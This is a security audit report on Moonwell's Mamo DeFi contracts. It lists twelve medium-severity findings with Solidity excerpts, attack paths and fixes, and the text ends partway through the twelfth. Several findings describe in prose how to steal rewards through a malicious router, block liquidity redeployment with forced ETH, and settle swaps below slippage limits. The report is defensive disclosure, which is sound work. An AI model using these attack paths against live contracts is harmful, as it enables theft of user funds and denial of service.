



Security Review For Moonwell



Collaborative Audit Prepared For:
Lead Security Expert(s):

Moonwell
pkqs90

Date Audited:

vinica_boy
July 23 - August 3, 2026

Introduction

This release upgrades the Mamo core contracts, adding multi-market strategies, Chainlink-anchored staking compounding, oracle hardening, a new concentrated-liquidity rebalancer, and more.

It includes the following changes and improvements:

- Multi-market strategies: MamoMultiMarketStrategy replaces ERC20MoonwellMorphoStrategy, so one strategy can hold funds across any number of Moonwell markets and ERC4626 vaults, tracked by a new MarketRegistry.
- Staking compounding now takes its minimum output from Chainlink prices instead of an Aerodrome quote a sandwich attack could move.
- SlippagePriceChecker hardening: stricter oracle checks and more precise multi-hop pricing.
- LPAutoBalancerV2: a two-position Aerodrome concentrated-liquidity rebalancer, with optional CowSwap swaps bounded by oracle prices.
- General refactors and optimizations.

Scope

Repository: moonwell-fi/mamo-contracts

Audited Commit: fdb8ba60605c15175d03582069f92bab641f974a

Final Commit: 7ee612cb74ce87295415d4099efe371ae8cc22b4

Files:

- src/BaseStrategy.sol
- src/ERC1967Proxy.sol
- src/libraries/GPv2OrderChecks.sol
- src/libraries/GPv2Order.sol
- src/libraries/LPGeometryLib.sol
- src/libraries/LPPositionLib.sol
- src/libraries/LPValuationLib.sol
- src/libraries/SwapWindowLib.sol
- src/LPAutoBalancerV2.sol
- src/LPCompoundModule.sol
- src/MamoMultiMarketStrategy.sol
- src/MamoStakingRegistry.sol

- src/MamoStakingStrategyFactory.sol
- src/MamoStakingStrategy.sol
- src/MamoStrategyRegistry.sol
- src/MarketRegistry.sol
- src/MultiMarketStrategyFactory.sol
- src/SlippagePriceChecker.sol

Final Commit Hash

7ee612cb74ce87295415d4099efe371ae8cc22b4

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
0	13	19

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue M-1: Deactivating one market blocks new multi-market strategies for the asset [RESOLVED]

Source: <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/31>

Summary

Because initialization rejects inactive historical registry entries, retiring any market causes every later multi-market strategy creation for that asset to revert.

Root cause

MarketRegistry keeps deactivated entries in the array returned by `getMarkets()`. `MultiMarketStrategyFactory.createStrategyForUser()` passes its fixed `defaultSplitBps` array to `initialize()`, which requires every registry entry to remain active. An inactive entry cannot be assigned a zero split, and `_validateTotalSplit()` still requires active splits to total 10,000.

Source: `initialize()` in `MamoMultiMarketStrategy.sol`

```
RegistryMarket[] memory regMarkets = marketRegistry.getMarkets(params.token);
require(regMarkets.length > 0, "No markets in registry");
require(params.defaultSplitBps.length == regMarkets.length, "Split count must match
↳ market count");

for (uint256 i = 0; i < regMarkets.length; i++) {
    // audit-bug: every historical entry must remain active
    require(regMarkets[i].active, "Market not active");
    marketSplitBps[regMarkets[i].target] = params.defaultSplitBps[i];
}
_validateTotalSplit();
```

Attack Path

1. An asset has an active factory and several registered markets.
2. The backend deactivates an old market as part of the documented market lifecycle.
3. A user or the backend calls `createStrategyForUser()` for a new account.
4. `initialize()` reads the inactive entry and reverts, so proxy creation and registration both revert. Every later attempt fails while that entry remains inactive.

Impact

New users cannot create multi-market strategies for the affected asset after a market is retired. Existing strategies and funds are not directly affected, but onboarding remains unavailable until the backend reactivates the retired market or rolls out a corrected implementation and factory.

Mitigation

Allow `initialize()` to skip inactive entries only when their default split is zero, then validate that active splits total 10,000. Since factory defaults are fixed, let the backend update them or replace the factory with a zero split for each inactive market.

Issue M-2: Reward swaps settle without paying compound fees [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/32>

Summary

The compound-fee pre-hook uses `transferFrom()` without authorizing its caller, so the fee transfer fails while the reward swap can still settle.

Root cause

`isValidSignature()` requires the order's app data to contain a pre-hook that calls the reward token's `transferFrom()`:

Source: `isValidSignature()` in `MamoMultiMarketStrategy.sol`

```
uint256 feeAmount = (_order.sellAmount * compoundFee) / SPLIT_TOTAL;

bytes memory preHookCalldata =
    abi.encodeWithSelector(IERC20.transferFrom.selector, address(this),
        feeRecipient, feeAmount);
```

For ERC20 `transferFrom()`, the spender is the caller. Here that caller is the hook executor, normally `HooksTrampoline`. The strategy instead grants allowance only to `VAULT_RELAYER`:

Source: `_approveCowSwap()` in `MamoMultiMarketStrategy.sol`

```
function _approveCowSwap(address tokenAddress, uint256 amount) internal {
    require(slippagePriceChecker.isRewardToken(tokenAddress), "Token not allowed");
    IERC20(tokenAddress).forceApprove(VAULT_RELAYER, amount);
}
```

The fee transfer therefore reverts for standard reward tokens with a nonzero fee. `HooksTrampoline` discards that failure:

Source: `HooksTrampoline.execute()`

```
(bool success,) = hook.target.call{gas: hook.gasLimit}(hook.callData);

// In order to prevent custom hooks from DoS-ing settlements, we
// explicitly allow them to revert.
success;
```

The relayer still has its own valid allowance for the order's full `sellAmount`, so the failed hook does not stop it from pulling the reward tokens.

Attack Path

1. A strategy holds reward tokens and has a nonzero `compoundFee`.
2. A valid reward sell order includes the required fee pre-hook.
3. `HooksTrampoline` calls `transferFrom()`. The token finds no allowance from the strategy to the trampoline and rejects the transfer.
4. The trampoline ignores the failure. `VAULT_RELAYER` then pulls the full `sellAmount`, and settlement sends the bought tokens to the strategy without paying `feeRecipient`.

Impact

`feeRecipient` loses $\text{sellAmount} * \text{compoundFee} / 10,000$ on every affected reward swap. The configured fee may be as high as 10% of the sold rewards.

Mitigation

Collect the fee in a state-changing strategy function before submitting the order, then use the post-fee reward amount as `sellAmount` and remove the fee hook. Do not approve `HooksTrampoline`, CoW's [documentation](#) warns that permissions granted to it are accessible to anyone.

Issue M-3: Backend can steal user staking rewards [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/33>

Summary

BACKEND_ROLE can replace the DEX router and invoke `compound()`, letting a malicious router pull all claimed reward tokens from user strategies.

Root cause

MamoStakingRegistry lets BACKEND_ROLE assign any nonzero address as `dexRouter`. It does not restrict the router to an admin-approved implementation.

Source: `setDEXRouter()` in `MamoStakingRegistry.sol`

```
function setDEXRouter(ISwapRouter newRouter) external onlyRole(BACKEND_ROLE)
↳ whenNotPaused {
    require(address(newRouter) != address(0), "Invalid router");
    require(address(newRouter) != address(dexRouter), "Router already set");

    address oldRouter = address(dexRouter);
    // audit-bug: the backend can install an arbitrary token spender
    dexRouter = newRouter;
```

The same role can call `compound()`, which loads this router immediately after claiming rewards.

Source: `compound()` in `MamoStakingStrategy.sol`

```
function compound() external onlyBackend {
    multiRewards.getReward();

    MamoStakingRegistry.RewardToken[] memory rewardTokens =
    ↳ stakingRegistry.getRewardTokens();
    ISwapRouter dexRouter = stakingRegistry.dexRouter();
    ISlippagePriceChecker priceChecker = stakingRegistry.slippagePriceChecker();
```

For each reward, `compound()` approves the router for the full balance and trusts the value returned by `exactInputSingle()`. It never checks the actual MAMO balance increase, so `amountOutMinimum` only has effect if the router enforces it.

Source: `router approval and call in compound()`

```
// Approve DEX router to spend reward tokens
rewardToken.forceApprove(address(dexRouter), rewardBalance);

// Create swap parameters
ISwapRouter.ExactInputSingleParams memory swapParams =
↳ ISwapRouter.ExactInputSingleParams({
    tokenIn: address(rewardToken),
    tokenOut: address(mamoToken),
    tickSpacing: tickSpacing,
    recipient: address(this),
    deadline: block.timestamp + 300,
    amountIn: rewardBalance,
    amountOutMinimum: amountOutMinimum,
    sqrtPriceLimitX96: 0 // No price limit
});

// Execute swap and capture actual amount out
uint256 actualAmountOut = dexRouter.exactInputSingle(swapParams);
```

Attack Path

1. An attacker obtains `BACKEND_ROLE` and deploys a malicious `ISwapRouter`.
2. The attacker calls `setDEXRouter()` to install it.
3. The attacker calls `compound()` on a user strategy. The strategy claims its rewards and approves the malicious router for each full reward balance.
4. The router uses `transferFrom()` to send those tokens to the attacker and returns an arbitrary `amountOut`.
5. The strategy does not compare its MAMO balance before and after the call, so the attacker can repeat the theft across user strategies.

Impact

If `BACKEND_ROLE` is malicious or compromised, it can steal all non-MAMO rewards accrued by each targeted strategy. The staked MAMO principal is not approved to the DEX router in this flow.

Mitigation

Restrict `setDEXRouter()` to `DEFAULT_ADMIN_ROLE`, preferably behind a timelock, and allow only approved router implementations. In `compound()`, measure the MAMO balance increase and require it to meet `amountOutMinimum`. Clear the reward token allowance after each swap.

Issue M-4: Swap orders can settle below the configured slippage floor [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/34>

Summary

`getExpectedOutFromChainlink()` rounds each feed conversion at the sell token's precision, which can understate a multi-feed quote and allow an order to settle below the configured slippage floor.

Root cause

`getExpectedOutFromChainlink()` passes each integer result into the next Chainlink hop. The value keeps `_fromToken` precision until every feed has been processed. When the sell token has fewer decimals than an intermediate or output asset, a hop can discard a material fraction before later prices and the final decimal conversion are applied.

Source: `getExpectedOutFromChainlink()` in `SlippagePriceChecker.sol`

```
uint256 _amountIntoThisIteration = _i == 0 ? _amountIn : _expectedOutFromChainlink;

// audit-bug: each division rounds while the value still has the input token's
// ↪ precision
_expectedOutFromChainlink = _reverses[_i]
    ? (_amountIntoThisIteration * _scaleAnswerBy) / uint256(answer)
    : (_amountIntoThisIteration * uint256(answer)) / _scaleAnswerBy;
}

uint256 _fromTokenDecimals = uint256(IERC20MetaData(_fromToken).decimals());
uint256 _toTokenDecimals = uint256(IERC20MetaData(_toToken).decimals());

if (_fromTokenDecimals > _toTokenDecimals) {
    _expectedOutFromChainlink = _expectedOutFromChainlink / (10 **
        ↪ (_fromTokenDecimals - _toTokenDecimals));
} else if (_fromTokenDecimals < _toTokenDecimals) {
    _expectedOutFromChainlink = _expectedOutFromChainlink * (10 **
        ↪ (_toTokenDecimals - _fromTokenDecimals));
}
```

`checkPrice()` derives its threshold from this understated quote.

`GPv2OrderChecks.validate()` then compares that threshold with the order's `buyAmount`.

Source: `checkPrice()` in `SlippagePriceChecker.sol`

```
uint256 _expectedOut = getExpectedOut(_amountIn, _fromToken, _toToken);  
  
return _minOut > (_expectedOut * (MAX_BPS - _slippageInBps)) / MAX_BPS;
```

Attack Path

1. A configured pair has a 2 decimal sell token, an 18 decimal output token, and two feed ratios of 1.005 and 2.00.
2. For 1.00 sell token, the first hop truncates $100 * 1.005$ to 100. The second hop returns 200, and the final scaling produces 2.00 output tokens instead of 2.01.
3. At 1% slippage, `checkPrice()` accepts a `buyAmount` above 1.98. The correct threshold is 1.9899, so an order with a `buyAmount` of 1.985 passes validation.
4. A solver can settle the order at 1.985 output tokens even though this is more than 1% below the oracle quote.

Impact

Low-decimal multi-feed pairs receive less protection than their configured slippage permits. Each truncating hop can lose almost one unit at the carried precision, and later feed ratios can amplify that loss. A publicly constructed CowSwap order can use the understated threshold to extract the difference from the strategy.

Mitigation

Normalize `_amountIn` to a high-precision common scale before processing the feeds and keep that scale through every hop with full-precision `mulDiv`. Convert to the output token's smallest units once, with an explicit conservative rounding direction.

Issue M-5: Registering a new market permanently blocks strategy creation for that asset [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/46>

Summary

MultiMarketStrategyFactory fixes its defaultSplitBps array at construction and requires its length to equal the registry's current market count. Adding a market for the asset makes that check fail forever, so no further multi-market strategy can be created until a replacement factory is deployed.

Vulnerability Detail

defaultSplitBps is populated in the constructor and the contract exposes no setter. Its length is therefore fixed for the life of the factory.

createStrategyForUser() compares that fixed length against the live market count read from MarketRegistry:

```
function createStrategyForUser(address user) external returns (address strategy) {
    require(user != address(0), "Invalid user address");
    require(msg.sender == mammoBackend || msg.sender == user, "Only backend or user
    ↪ can create strategy");
    require(
        IMarketRegistry(marketRegistry).getMarketCount(token) ==
        ↪ defaultSplitBps.length,
        "Split count must match market count"
    );
}
```

MarketRegistry.addMarket() is a normal BACKEND_ROLE operation that appends to the asset's market array, so getMarketCount() increases by one:

```
_markets[asset].push(RegistryMarket({target: target, marketType: marketType,
    ↪ active: true}));
```

From that point getMarketCount(token) exceeds defaultSplitBps.length and the require reverts for every caller. Because the split array is only writable from the constructor, the factory can never be brought back into agreement with the registry.

Impact

Strategy creation for the affected asset is permanently unavailable through that factory. New users cannot be onboarded, and the backend cannot onboard them either,

since both paths go through `createStrategyForUser()`.

Recovery requires deploying a new factory with a split array of the correct length, granting it `BACKEND_ROLE` on `MamoStrategyRegistry`, and updating every off-chain reference to the factory address. Existing strategies and funds are unaffected.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MultiMarketStrategyFactory.sol#L99-L105>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MultiMarketStrategyFactory.sol#L67-L73>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MarketRegistry.sol#L50-L66>

Tool Used

Manual Review

Recommendation

Either add a permissioned setter that replaces `defaultSplitBps` wholesale, re-validating the length against `getMarketCount(token)` and the sum against `SPLIT_TOTAL` or accept the split array as a `createStrategyForUser()` parameter and validate it against the live market count and `SPLIT_TOTAL` at call time, keeping the stored array only as a suggested default.

Issue M-6: MultiMarketStrategyFactory hardcodes the backend address instead of using role access [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/47>

Summary

MultiMarketStrategyFactory stores `mamoBackend` as an immutable and gates `createStrategyForUser()` on a direct address comparison. Every other contract in the system resolves the backend through `BACKEND_ROLE`, so a backend rotation leaves the factory pointing at the retired address with no way to update it.

Vulnerability Detail

The factory pins the backend at deployment and uses it as an access-control check:

```
require(msg.sender == mamoBackend || msg.sender == user, "Only backend or user can  
↪ create strategy");
```

The rest of the system does not work this way. `MamoStrategyRegistry`, `MarketRegistry` and `MamoStakingRegistry` all use `OpenZeppelin AccessControl` with a grantable and revocable `BACKEND_ROLE`, and the deployed strategies resolve the operator dynamically at call time:

```
modifier onlyBackend() {  
    require(msg.sender == mamoStrategyRegistry.getBackendAddress(), "Not backend");  
    _;  
}
```

So after a rotation the two halves of the system disagree. `MamoStrategyRegistry` and the strategies recognise the new backend; the factory recognises only the old one

Impact

Two consequences follow from a backend key rotation:

- The retired backend address keeps its ability to call `createStrategyForUser()` on every deployed factory, even after `BACKEND_ROLE` is revoked from it registry-side. If the rotation was performed because that key was compromised, the compromised key retains a live entry point into the system.
- The new backend cannot call `createStrategyForUser()` at all. Backend-initiated onboarding stops working for every asset. Users can still self-serve, since `msg.sender`

`r == user` is also accepted, so this is a degradation of the operator workflow rather than a total outage.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MultiMarketStrategyFactory.sol#L22>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MultiMarketStrategyFactory.sol#L99-L101>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoMultiMarketStrategy.sol#L153-L156>

Tool Used

Manual Review

Recommendation

Resolve the backend the same way the strategies do, so that a single revocation on the registry takes effect everywhere at once:

```
-require(msg.sender == mamobackend || msg.sender == user, "Only backend or user can  
↪ create strategy");  
+require(  
+   IMamoStrategyRegistry(mamoStrategyRegistry).hasRole(  
+       IMamoStrategyRegistry(mamoStrategyRegistry).BACKEND_ROLE(), msg.sender  
+   ) || msg.sender == user,  
+   "Only backend or user can create strategy"  
+);
```

Issue M-7: Whitelisting a new strategy implementation disables every existing factory [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/48>

Summary

MultiMarketStrategyFactory deploys proxies against an immutable strategyImplementation, while MamoStrategyRegistry.addStrategy() requires the proxy's implementation to be the latest one registered for its strategy type. Rolling out any new implementation therefore makes every existing factory revert, and the factory has no way to follow the upgrade.

Vulnerability Detail

The factory's implementation address is set once at construction and used for every proxy it creates:

```
ERC1967Proxy proxy = new ERC1967Proxy(strategyImplementation, "");
strategy = address(proxy);

MamoMultiMarketStrategy(payable(strategy)).initialize(...);

mamoStrategyRegistryInterface.addStrategy(user, strategy);
```

The final call is the one that fails. addStrategy() reads the implementation out of the freshly created proxy and requires an exact match against latestImplementationById:

```
address implementation = ERC1967Proxy(payable(strategy)).getImplementation();
require(implementation != address(0), "Invalid implementation");
require(whitelistedImplementations[implementation], "Implementation not
↳ whitelisted");
...
require(
    implementation == latestImplementationById[strategyContract.strategyTypeId()],
    ↳ "Not latest implementation"
);
```

whitelistImplementation() overwrites latestImplementationById[strategyTypeId] on every registration for that type:

```
implementationToId[implementation] = assignedStrategyTypeId;
latestImplementationById[assignedStrategyTypeId] = implementation;
```

So the moment a bugfixed or extended MamoMultiMarketStrategy is whitelisted under the same strategyTypeId, the old implementation stops being the latest. Every factory pinned to it still deploys proxies pointing at it, and addStrategy() rejects each one with "Not latest implementation". Because the proxy has already been deployed and initialised earlier in the same transaction, the whole call reverts and the proxy is discarded.

Impact

Any implementation rollout for a strategy type takes strategy creation for that type offline. Both the backend path and the user self-service path revert, since both run through createStrategyForUser().

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MultiMarketStrategyFactory.sol#L25>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MultiMarketStrategyFactory.sol#L107-L128>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoStrategyRegistry.sol#L243-L245>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoStrategyRegistry.sol#L191-L209>

Tool Used

Manual Review

Recommendation

Stop pinning the implementation in the factory. Read it from the registry at deployment time so the factory automatically tracks the current rollout:

```
-ERC1967Proxy proxy = new ERC1967Proxy(strategyImplementation, "");
+address implementation =
  ↳ mamoStrategyRegistryInterface.latestImplementationById(strategyTypeId);
+require(implementation != address(0), "No implementation for strategy type");
+ERC1967Proxy proxy = new ERC1967Proxy(implementation, "");
```

Issue M-8: Strategy owners can bypass the compound fee by recovering reward tokens [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/49>

Summary

The compound fee is only ever collected as part of a CoW Protocol order. Claimed reward tokens sit in the strategy as plain ERC20 balances in the meantime, and `BaseStrategy.recoverERC20()` lets the strategy owner transfer them out at will. An owner can therefore take 100% of their rewards and pay no fee.

Note that there is another issue with taking a fee on rewards swap explained in another report.

Vulnerability Detail

`claimRewards()` pulls reward tokens from the Merkle distributor into the strategy contract. It is backend-driven, but the tokens are simply credited to the strategy's balance:

```
IMerkleDistributor(MERKLE_PROTOCOL_DISTRIBUTOR).claim(accounts, rewardTokens,  
    ↪ rewardAmounts, proofs);
```

The only place the protocol takes its cut is inside `isValidSignature()`, as a pre-hook attached to the reward sell order:

```
uint256 feeAmount = (_order.sellAmount * compoundFee) / SPLIT_TOTAL;  
  
bytes memory preHookCalldata =  
    abi.encodeWithSelector(IERC20.transferFrom.selector, address(this),  
    ↪ feeRecipient, feeAmount);
```

There is no accrual, no escrow and no fee accounting anywhere else. If the reward tokens never reach a CoW order, `feeRecipient` never receives anything.

`BaseStrategy` gives the owner an unconditional exit for any ERC20 the strategy holds, with no exclusion list for reward tokens:

```
function recoverERC20(address tokenAddress, address to, uint256 amount) external  
    ↪ onlyOwner {  
    require(to != address(0), "Cannot send to zero address");  
    require(amount > 0, "Amount must be greater than 0");  
  
    IERC20(tokenAddress).safeTransfer(to, amount);
```

```
emit TokenRecovered(tokenAddress, to, amount);  
}
```

`owner()` is the end user. The factory passes `owner: user` into `initialize()`, and `MamoStrategyRegistry.addStrategy()` enforces `Ownable(strategy).owner() == user`. So the party that owes the fee is the same party that can move the tokens.

Impact

`feeRecipient` loses the entire compound fee on any rewards an owner chooses to extract directly, up to `MAX_COMPOUND_FEE` of 10% of every reward distribution for that strategy. The fee is fully avoidable at the owner's discretion and at no cost, so a rational owner never pays it. Protocol revenue from multi-market strategies is effectively optional.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/BaseStrategy.sol#L46-L53>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoMultiMarketStrategy.sol#L408-L411>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoMultiMarketStrategy.sol#L319-L332>

Tool Used

Manual Review

Recommendation

Stop relying on the swap to collect the fee, and stop treating reward tokens as recoverable dust.

Collect the fee in a state-changing strategy function at claim time, so the amount that later reaches the order is already net of fees:

```
IMerkleDistributor(MERKLE_PROTOCOL_DISTRIBUTOR).claim(accounts, rewardTokens,  
    ↪ rewardAmounts, proofs);  
  
for (uint256 i = 0; i < rewardTokens.length; i++) {  
    uint256 fee = (rewardAmounts[i] * compoundFee) / SPLIT_TOTAL;  
    if (fee > 0) {  
        IERC20(rewardTokens[i]).safeTransfer(feeRecipient, fee);  
    }  
}
```


Issue M-9: ETH donation to PositionManager DoS the redeployment of liquidity [RESOLVED]

Source: <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/51>

Summary

Aerodrome Slipstream's `NonfungiblePositionManager.mint()` ends with a call to `refundETH()`, which forwards the manager's entire native balance to `msg.sender`. `LPAutoBalancerV2` declares no `receive()` and no `fallback()`, so that transfer reverts and unwinds the mint. The position manager is a shared singleton whose balance anyone can raise, so 1 wei is enough to make every mint the balancer performs revert. This disables `rebalanceUsingAlt()` and `rebuildAfterSwap()`, the only two functions that redeploy principal.

Vulnerability Detail

Both rebalance paths mint through the same helper:

```
// LPPositionLib.mintPosition
(tokenId,,, ) = ICLPositionManager(positionManager).mint(mp);
```

Slipstream's `mint()` calls `refundETH()` unconditionally, after the position has already been recorded:

```
function mint(MintParams calldata params) external payable override
↪ checkDeadline(params.deadline)
  returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1)
{
  ...
  _positions[tokenId] = Position({ ... });

  refundETH();

  emit IncreaseLiquidity(tokenId, liquidity, amount0, amount1);
}
```

`refundETH()` sends the whole balance and reverts if the recipient rejects it:

```
function refundETH() public payable override nonReentrant {
  if (address(this).balance > 0) TransferHelper.safeTransferETH(msg.sender,
↪ address(this).balance);
}
// safeTransferETH: (bool success,) = to.call{value: value}(new bytes(0));
↪ require(success, 'STE');
```

LPAutoBalancerV2 has no payable entry point. It only has `recoverETH()`, which can send ETH out but cannot accept any:

So as soon as the position manager holds any native balance, `mint()` reaches `refundETH()`, `safeTransferETH` calls into the balancer with no matching function, the call reverts. The position manager's own `receive()` rejects ordinary sends (`require(msg.sender == WE TH9, "NW9")`), so the attacker forces the balance in with a create-and-selfdestruct in a single transaction

Impact

`rebalanceUsingAlt()` and `rebuildAfterSwap()` are the only functions that redeploy principal, and both revert while the position manager holds any native balance. The consequences differ by path:

- No-swap path: the position is frozen in its current range. It keeps earning until price leaves the range, then earns nothing and cannot be re-ranged.
- Swap path: worse. If the grief lands while the window is open, between `unwindForSwap()` and `rebuildAfterSwap()`, the entire principal is already sitting on the balancer as loose ERC20 with the previous main NFT burned. It earns no LP fees and no AERO emissions and cannot be redeployed.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/libraries/LPPositionLib.sol#L146-L178> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L948-L958> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L1021-L1031> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L240-L243> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L1218-L1225>

Tool Used

Manual Review

Recommendation

Add a payable receive path to LPAutoBalancerV2.

Issue M-10: Pausing does not stop an in-flight principal swap [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/53>

Summary

`isValidSignature()` ignores the paused state, so `GPv2Settlement` can consume an in-flight allowance and trade pool principal after a guardian calls `pause()`.

Root cause

`unwindForSwap()` removes liquidity and calls `SwapWindowLib.open()`. The library keeps the window open and gives the CoW vault relayer an exact allowance for the selected sell token. Only the window-closing paths revoke this allowance.

Source: `open()` in `SwapWindowLib.sol`

```
w.inFlight = true;
w.wasStaked = wasStaked;
w.sellToken = sellToken;
w.valueBeforePos = valueBeforePos;
w.looseBefore = looseBefore;
w.startedAt = block.timestamp;
IERC20(sellToken).forceApprove(VAULT_RELAYER, sellAmount);
```

`pause()` changes only the `Pausable` flag. It neither closes the window nor revokes the allowance. During settlement, `GPv2Settlement` calls the owner's EIP-1271 validator. The balancer's passthrough lacks `whenNotPaused` or a `paused()` check, and `validateRebalanceOrder()` gates on `rebalanceInFlight()` instead of `pause`. It still returns the magic value while the balancer is paused.

Source: `isValidSignature()` in `LPAutoBalancerV2.sol`

```
// audit-bug: the paused state is not checked
function isValidSignature(bytes32 digest, bytes calldata order) external view
↪ returns (bytes4) {
    return
    ↪ ILPCCompoundModuleRebalance(compoundModule).validateRebalanceOrder(digest,
    ↪ order);
}
```

Attack Path

1. An authorized rebalancer calls `unwindForSwap()`, which burns the LP positions, opens the swap window, and approves a principal token for the CoW relayer.
2. A guardian calls `pause()` before settlement. The window and allowance remain active, while `rebuildAfterSwap()` is blocked by `whenNotPaused`.
3. Before the admin calls `exit()`, a solver settles an existing or newly submitted order whose sell token matches `sellTokenInFlight()`, whose receiver is the balancer, whose amount fits the remaining allowance, and which passes the digest, `appData`, expiry, shape, and oracle price checks.
4. Settlement calls `isValidSignature()`, receives the EIP-1271 magic value, and trades the approved principal while the contract is paused.

Impact

`pause()` cannot freeze a principal swap after `unwindForSwap()` has run.

Mitigation

Add `whenNotPaused` to `isValidSignature()` so EIP-1271 validation fails during a pause.

Issue M-11: Token1-only rebalances can miss nearby fees and emissions [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/54>

Summary

When the spot tick is spacing-aligned, `_mainRange()` shifts a token1-only range one spacing below the closest valid range, so the position remains inactive across the first price band below spot.

Root cause

A concentrated-liquidity range is active for `tickLower <= currentTick < tickUpper`. When `currentTick == tickUpper`, the price is already outside the range and the mint consumes only token1. The token1-majority branch nevertheless subtracts spacing when `spotTick` is aligned, moving both bounds down even though using `floor` as `tickUpper` is valid and closer to spot.

Source: `_mainRange()` in `LPAutoBalancerV2.sol`

```
} else {  
    // audit-bug: the aligned case shifts the range down unnecessarily  
    int24 down = floor == spotTick ? floor - spacing : floor;  
    tickUpper = down;  
    tickLower = down - w;  
}
```

Attack Path

1. A rebuild enters the token1-majority branch when `spotTick` is an exact multiple of `spacing`.
2. With `spotTick = 200`, `spacing = 200`, and `width = 400`, the code creates `[-400, 0)` instead of the closer valid range `[-200, 200)`.
3. If price moves below tick 200 but stays at or above tick 0, `[-200, 200)` is active while `[-400, 0)` remains inactive.
4. The position supplies no active liquidity during that interval, so it earns no swap fees when unstaked and no AERO emissions when staked.

Impact

The position misses revenue only while price remains in the skipped spacing-wide band. Principal is not lost, and the shifted range activates if price moves farther down. It also extends one spacing farther downward, so the finding is a conditional opportunity cost rather than a guaranteed loss.

Mitigation

Use `floor` as `tickUpper` in the `token1`-majority branch even when `spotTick` is spacing-aligned.

Issue M-12: Swap rebalance value floor compares USD snapshots from two different transactions [RE-SOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/59>

Summary

`unwindForSwap()` records the value floor baseline in USD, and `rebuildAfterSwap()` compares it against a USD figure read in a later transaction, so a move in the pair's market price between the two calls counts against the rebalance loss allowance.

Vulnerability Detail

The swap rebalance runs across two transactions. `unwindForSwap()` tears down both positions and stores `valueBeforePos` and `looseBefore` as USD amounts derived from the Chainlink feeds at that moment. `rebuildAfterSwap()` re-mints, computes `valueAfter` from the feeds as they read at that later moment, and requires `valueAfter` to clear the stored baseline less `maxRebalanceLossBps + swapLossAllowanceBps`.

Neither side of that comparison is price relative. The managed pair is WETH and cbBTC, both of which are volatile against USD and correlated, so they fall together with no offsetting leg. A market decline during the CowSwap settlement window reduces `valueAfter` while the baseline stays fixed at the pre-decline price, and the check reads that decline as rebalance loss.

